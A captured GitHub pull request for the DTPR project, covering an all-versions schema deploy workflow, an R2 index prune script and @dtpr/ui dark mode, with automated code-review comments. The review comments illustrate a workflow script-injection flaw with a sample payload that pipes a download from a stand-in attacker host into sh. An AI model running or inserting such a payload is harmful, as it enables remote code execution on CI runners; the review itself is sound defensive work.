Skip to content

feat: all-versions schema deploy + @dtpr/ui dark mode#277

Merged
pichot merged 2 commits intomainfrom
feat/run-dtpr-ai
May 5, 2026
Merged

feat: all-versions schema deploy + @dtpr/ui dark mode#277
pichot merged 2 commits intomainfrom
feat/run-dtpr-ai

Conversation

@pichot
Copy link
Copy Markdown
Member

@pichot pichot commented May 5, 2026

Summary

Three independent changes bundled in one PR per request. Each section is independently reviewable.

1. API deploy: enumerate every schema version on every push

api-deploy.yaml previously hard-coded SCHEMA_VERSION to ai@2026-04-16-beta, so every push to main re-uploaded only that one version. The newer ai@2026-04-27-beta (the v2 schema reshape from #274 + the rights audit changes from #275) was never reachable through https://api.dtpr.io/api/v2/schemas, even though both schemas had been merged to main.

Now:

  • The workflow walks api/schemas/<type>/*/ and runs schema:build + r2-upload.ts for every version found.
  • Validation runs for every bundle before the worker deploys, so a single bad bundle bails out before anything ships.
  • r2-upload.ts is already idempotent (api/scripts/r2-upload.ts:11-15 short-circuits on matching content_hash, hard-fails on stable-immutability breach), so unchanged stables are a fast no-op.
  • workflow_dispatch.version is preserved as an optional single-version override for replaying a failed upload.

New api/scripts/r2-prune.ts: r2-upload.ts only ever adds/updates index entries — it never removes them. After schema:promote renames <date>-beta/<date>/, the orphaned beta would otherwise live in R2's index forever. The new script walks the source tree, fetches schemas/index.json, and drops entries whose source dir is gone. Index-only prune is sufficient because the worker gates every read through schemas/index.json (api/src/rest/version-resolver.ts:55) — orphaned R2 bytes become unreachable. The step skips itself when the single-version workflow_dispatch override is set, since the source enumeration is incomplete in that path.

2. @dtpr/ui dark mode

  • packages/ui/src/vue/styles.css: dark-mode CSS tokens with two triggers — html.dark (matches @nuxt/color-mode with Nuxt UI's classSuffix: "") and prefers-color-scheme: dark gated on html:not(.light) (covers standalone SSR consumers like the MCP iframe).
  • packages/ui/src/vue/use-dark-mode.ts (new): reactive isDark flag mirroring the host page's color mode. SSR-safe (returns false server-side, swaps on client mount).
  • packages/ui/src/core/types.ts: optional ElementDisplayIcon.urlDark so callers can supply a dark-variant URL (e.g. /elements/:id/icon.dark.svg). When unset, the light URL is used in both modes — preserves backwards compatibility.
  • DtprIcon.vue swaps src based on the resolved mode; new tests cover resolution order and SSR fallback.

3. dtpr-ai docs polish

  • dtpr-ai/app/pages/index.vue (new) + content.config.ts (new): override docus's default landing template so the homepage is constrained by the same UContainer max-width as every other docs page (previously stretched edge-to-edge). The content.config.ts re-declares the landing collection because adding app/pages/index.vue disables docus's auto-registered one.
  • Taxonomy pages and Playground pick up the new dark-mode-aware icon URLs.

Test plan

  • Merge → CI runs the new workflow → verify both ai@2026-04-16-beta and ai@2026-04-27-beta appear in https://api.dtpr.io/api/v2/schemas
  • Verify dtpr-ai docs (https://dtpr.ai/taxonomy) now reflect v2 schema + rights audit
  • Toggle Docus theme → DtprIcon swaps to dark variant when urlDark is set; falls back to light when not
  • Homepage at https://dtpr.ai/ is constrained by UContainer width
  • Future schema:promote flow drops the beta entry from /api/v2/schemas after merge

🤖 Generated with Claude Code

Three independent changes bundled per request.

1. Schema deploy enumerates every version in the source tree
   - .github/workflows/api-deploy.yaml: drop the hard-coded
     ai@2026-04-16-beta default, walk api/schemas/<type>/*/, and
     run schema:build + r2-upload for each version. Validation gates
     the worker deploy. workflow_dispatch.version remains as an
     optional single-version override.
   - api/scripts/r2-prune.ts: new step that drops index entries
     whose source dir was deleted (e.g. after schema:promote
     rename). Worker reads gate through schemas/index.json
     (api/src/rest/version-resolver.ts), so index-only prune is
     sufficient — no R2 object deletion required.

2. @dtpr/ui dark mode
   - packages/ui/src/vue/styles.css: dark-mode CSS tokens, two
     triggers (html.dark for @nuxt/color-mode hosts, prefers-color
     -scheme for standalone SSR consumers).
   - packages/ui/src/vue/use-dark-mode.ts: reactive dark-mode flag
     mirroring the host page's color mode.
   - packages/ui/src/core/types.ts: ElementDisplayIcon.urlDark so
     callers can supply a dark-variant icon source.
   - DtprIcon swaps src based on the resolved mode; tests cover
     the resolution order and SSR fallback.

3. dtpr-ai docs polish
   - dtpr-ai/app/pages/index.vue + content.config.ts: override
     docus's default landing template so the homepage is wrapped
     in the same UContainer max-width as the rest of the site.
   - Taxonomy pages and Playground pick up dark-mode-aware icon
     URLs from the new @dtpr/ui surface.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@cloudflare-workers-and-pages
Copy link
Copy Markdown

cloudflare-workers-and-pages Bot commented May 5, 2026

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Updated (UTC)
✅ Deployment successful!
View logs
dtpr-ai 92bfa29 May 05 2026, 08:44 PM

@greptile-apps
Copy link
Copy Markdown

greptile-apps Bot commented May 5, 2026

Greptile Summary

This PR bundles three independent changes: the CI deploy workflow now enumerates and publishes every schema version found under api/schemas/ (plus a new r2-prune.ts to drop stale index entries after beta→stable promotion), @dtpr/ui gains dark-mode CSS tokens and a darkSrc prop on DtprIcon, and the dtpr-ai docs homepage gets a UContainer width constraint.

  • CI workflow: the version-loop approach is correct and the idempotency/prune logic is well-thought-out, but ${{ inputs.version }} is interpolated directly into a shell run block, creating a script-injection vector for anyone with write access who can trigger workflow_dispatch.
  • Dark mode (UI): use-dark-mode.ts and the CSS token overrides are clean; the failed-state watch in DtprIcon.vue does not include isDark in its source, so a prior light-URL 404 silently blocks the dark URL from ever being attempted after a mode toggle.
  • Docs / dtpr-ai: the content.config.ts re-declaration and index.vue override are straightforward and correct.

Confidence Score: 3/5

The workflow change introduces a real injection path that should be addressed before this merges to main; the dark-mode icon fallback gap is a minor edge case.

The inputs.version value is written verbatim into the shell script text via ${{ }}, which means a single-quote in the input breaks out of the quoted assignment and executes arbitrary commands. The dark-mode failed-flag issue means the hexagon placeholder can get stuck on screen when a light URL 404s and the user then switches to dark mode — the dark URL is never retried because isDark is not in the watch source.

.github/workflows/api-deploy.yaml needs the injection fix before merging. packages/ui/src/vue/DtprIcon.vue is worth a second look for the failed-reset behaviour on dark-mode toggle.

Security Review

  • Script injection in .github/workflows/api-deploy.yaml line 54: ${{ inputs.version }} is interpolated directly into a run shell block inside a single-quoted variable assignment. A value containing a ' followed by shell metacharacters would break out of the quotes and execute arbitrary commands. This is exploitable by any user with write access who can trigger workflow_dispatch. Fix: pass the input through an env: key and read it as "$ENV_VAR" in the shell.

Important Files Changed

Filename Overview
.github/workflows/api-deploy.yaml Rewrites schema deploy loop to enumerate all versions from the git tree; introduces a shell injection in the inputs.version assignment via direct ${{ }} interpolation in a run block.
api/scripts/r2-prune.ts New script that prunes stale index entries from R2 after schema:promote; correctly guards against emptying the live index and handles the NoSuchKey case.
packages/ui/src/vue/DtprIcon.vue Adds darkSrc prop and swaps the effective src based on useDtprDarkMode; the failed watch doesn't include isDark in its source, so a prior 404 can silently block the dark URL from ever being tried.
packages/ui/src/vue/use-dark-mode.ts New SSR-safe composable that observes html.dark/html.light class mutations and the prefers-color-scheme media query; cleanup via onBeforeUnmount is correct.
packages/ui/src/vue/styles.css Adds dark-mode CSS token overrides under html.dark and a prefers-color-scheme: dark media query; correctly duplicated to support both Nuxt class-based and standalone system-preference modes.
packages/ui/src/core/element-display.ts Plumbs iconUrlDark option through to ElementDisplayIcon.urlDark; correctly treats empty string as absent, preserving backwards compatibility.
packages/ui/src/vue/DtprIcon.test.ts Comprehensive new dark-mode swap tests covering light baseline, html.dark class toggle, prefers-color-scheme, html.light override, and SSR fallback; afterEach class cleanup prevents test leakage.
dtpr-ai/app/pages/index.vue New landing page override that wraps Docus content in UContainer for consistent max-width; properly handles 404 and SEO metadata.

Sequence Diagram

sequenceDiagram
    participant GHA as GitHub Actions
    participant API as pnpm @dtpr/api
    participant CF as Cloudflare Worker
    participant R2 as R2 (dtpr-api bucket)

    GHA->>GHA: Resolve schema versions (find api/schemas/*/*)

    loop each version v
        GHA->>API: schema:build v
    end

    GHA->>CF: wrangler deploy (worker flip)

    loop each version v
        GHA->>R2: r2-upload.ts v (idempotent: skip if hash matches)
    end

    alt inputs.version is empty
        GHA->>R2: r2-prune.ts (drop index entries with no source dir)
    end

    GHA->>GHA: Post-deploy smoke tests
Loading
Prompt To Fix All With AI
Fix the following 4 code review issues. Work through them one at a time, proposing concise fixes.

---

### Issue 1 of 4
.github/workflows/api-deploy.yaml:54
**GHA script injection via `inputs.version`**

`${{ inputs.version }}` is interpolated directly into the shell script text. A value containing a single quote (e.g. `'; curl attacker.io/x | sh; echo '`) would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger `workflow_dispatch` can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.

### Issue 2 of 4
.github/workflows/api-deploy.yaml:49-54
Pass `inputs.version` through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.

```suggestion
      - name: Resolve schema versions to deploy
        id: schemas
        working-directory: api/schemas
        env:
          INPUT_VERSION: ${{ inputs.version }}
        run: |
          set -euo pipefail
          override="$INPUT_VERSION"
```

### Issue 3 of 4
packages/ui/src/vue/DtprIcon.vue:32-36
**`failed` flag not cleared on dark-mode swap**

The watch resets `failed` when `props.src` or `props.darkSrc` changes, but not when `isDark.value` flips. If the light URL returns a 404 (setting `failed = true`), and the user then switches to dark mode, `effectiveSrc` immediately returns `HEXAGON_FALLBACK_DATA_URI` — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding `isDark.value` to the watch source is needed to actually achieve that.

### Issue 4 of 4
packages/ui/src/vue/DtprIcon.vue:32-37
Include `isDark.value` in the watch source so a dark-mode toggle clears the `failed` flag and allows the dark URL to be attempted, matching the stated intent in the comment.

```suggestion
watch(
  () => [props.src, props.darkSrc, isDark.value],
  () => {
    failed.value = false
  },
)
```

Reviews (1): Last reviewed commit: "feat: all-versions schema deploy + @dtpr..." | Re-trigger Greptile

Comment thread .github/workflows/api-deploy.yaml Outdated
working-directory: api/schemas
run: |
set -euo pipefail
override='${{ inputs.version }}'
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security GHA script injection via inputs.version

${{ inputs.version }} is interpolated directly into the shell script text. A value containing a single quote (e.g. '; curl attacker.io/x | sh; echo ') would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger workflow_dispatch can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.

Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/api-deploy.yaml
Line: 54

Comment:
**GHA script injection via `inputs.version`**

`${{ inputs.version }}` is interpolated directly into the shell script text. A value containing a single quote (e.g. `'; curl attacker.io/x | sh; echo '`) would break out of the single-quoted assignment and execute arbitrary shell commands. Any user with write access who can trigger `workflow_dispatch` can exploit this. The safe pattern is to expose the input as an environment variable and reference it through the env, which prevents it from ever being interpreted as shell syntax.

How can I resolve this? If you propose a fix, please make it concise.

Comment thread .github/workflows/api-deploy.yaml Outdated
Comment on lines +49 to +54
- name: Resolve schema versions to deploy
id: schemas
working-directory: api/schemas
run: |
set -euo pipefail
override='${{ inputs.version }}'
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Pass inputs.version through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.

Suggested change
- name: Resolve schema versions to deploy
id: schemas
working-directory: api/schemas
run: |
set -euo pipefail
override='${{ inputs.version }}'
- name: Resolve schema versions to deploy
id: schemas
working-directory: api/schemas
env:
INPUT_VERSION: ${{ inputs.version }}
run: |
set -euo pipefail
override="$INPUT_VERSION"
Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/api-deploy.yaml
Line: 49-54

Comment:
Pass `inputs.version` through an env var so the shell never sees it as raw script text. This prevents any single-quote or shell metacharacter in the input from being interpreted.

```suggestion
      - name: Resolve schema versions to deploy
        id: schemas
        working-directory: api/schemas
        env:
          INPUT_VERSION: ${{ inputs.version }}
        run: |
          set -euo pipefail
          override="$INPUT_VERSION"
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines 32 to 36
watch(
() => props.src,
() => [props.src, props.darkSrc],
() => {
failed.value = false
},
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 failed flag not cleared on dark-mode swap

The watch resets failed when props.src or props.darkSrc changes, but not when isDark.value flips. If the light URL returns a 404 (setting failed = true), and the user then switches to dark mode, effectiveSrc immediately returns HEXAGON_FALLBACK_DATA_URI — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding isDark.value to the watch source is needed to actually achieve that.

Prompt To Fix With AI
This is a comment left during a code review.
Path: packages/ui/src/vue/DtprIcon.vue
Line: 32-36

Comment:
**`failed` flag not cleared on dark-mode swap**

The watch resets `failed` when `props.src` or `props.darkSrc` changes, but not when `isDark.value` flips. If the light URL returns a 404 (setting `failed = true`), and the user then switches to dark mode, `effectiveSrc` immediately returns `HEXAGON_FALLBACK_DATA_URI` — the dark URL is never attempted. The comment on line 29 says "so a dark-mode swap retries cleanly after an earlier light-url 404", which implies the intent was to retry, but adding `isDark.value` to the watch source is needed to actually achieve that.

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines 32 to 37
watch(
() => props.src,
() => [props.src, props.darkSrc],
() => {
failed.value = false
},
)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Include isDark.value in the watch source so a dark-mode toggle clears the failed flag and allows the dark URL to be attempted, matching the stated intent in the comment.

Suggested change
watch(
() => props.src,
() => [props.src, props.darkSrc],
() => {
failed.value = false
},
)
watch(
() => [props.src, props.darkSrc, isDark.value],
() => {
failed.value = false
},
)
Prompt To Fix With AI
This is a comment left during a code review.
Path: packages/ui/src/vue/DtprIcon.vue
Line: 32-37

Comment:
Include `isDark.value` in the watch source so a dark-mode toggle clears the `failed` flag and allows the dark URL to be attempted, matching the stated intent in the comment.

```suggestion
watch(
  () => [props.src, props.darkSrc, isDark.value],
  () => {
    failed.value = false
  },
)
```

How can I resolve this? If you propose a fix, please make it concise.

Three fixes to make the previous commit deploy.

1. Drop content.config.ts + app/pages/index.vue
   c12 loads our user-layer content.config.ts via jiti, which
   transitively requires @nuxt/content -> @nuxt/kit. jiti evals
   @nuxt/kit/dist/index.mjs:182's `import.meta.dev` via new
   vm.Script (CJS context), throwing SyntaxError. Docus's own
   content.config.ts has the same imports but loads inside a Nuxt
   context where jiti is configured differently.

   The homepage UContainer override is a polish item; restoring it
   needs a docus-friendly extension that doesn't trigger this load
   chain. Following up separately.

2. Update @dtpr/ui test fixtures for v2 schema reshape
   The v2 reshape (#274) made `actions` and `subchains` required
   defaults via z.ZodDefault, which Zod 4 surfaces as required in
   the inferred output type. vite-plugin-dts type-checks tests
   during declaration generation, so missing fields blocked dts
   emission. Add `actions: []` to InstanceElement fixtures, plus
   `subchains: []`, `subchain_instances: []`, `sources: []`,
   `linked_instance_ids: []` to DatachainType / DatachainInstance.

3. DtprIcon: reset failed state when isDark changes
   Watch already reset `failed.value` when src/darkSrc changed.
   isDark wasn't in the deps, so a dark-mode toggle could leave a
   stale 404 marker, blocking retry against the new url.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@pichot pichot merged commit 0bcf276 into main May 5, 2026
6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant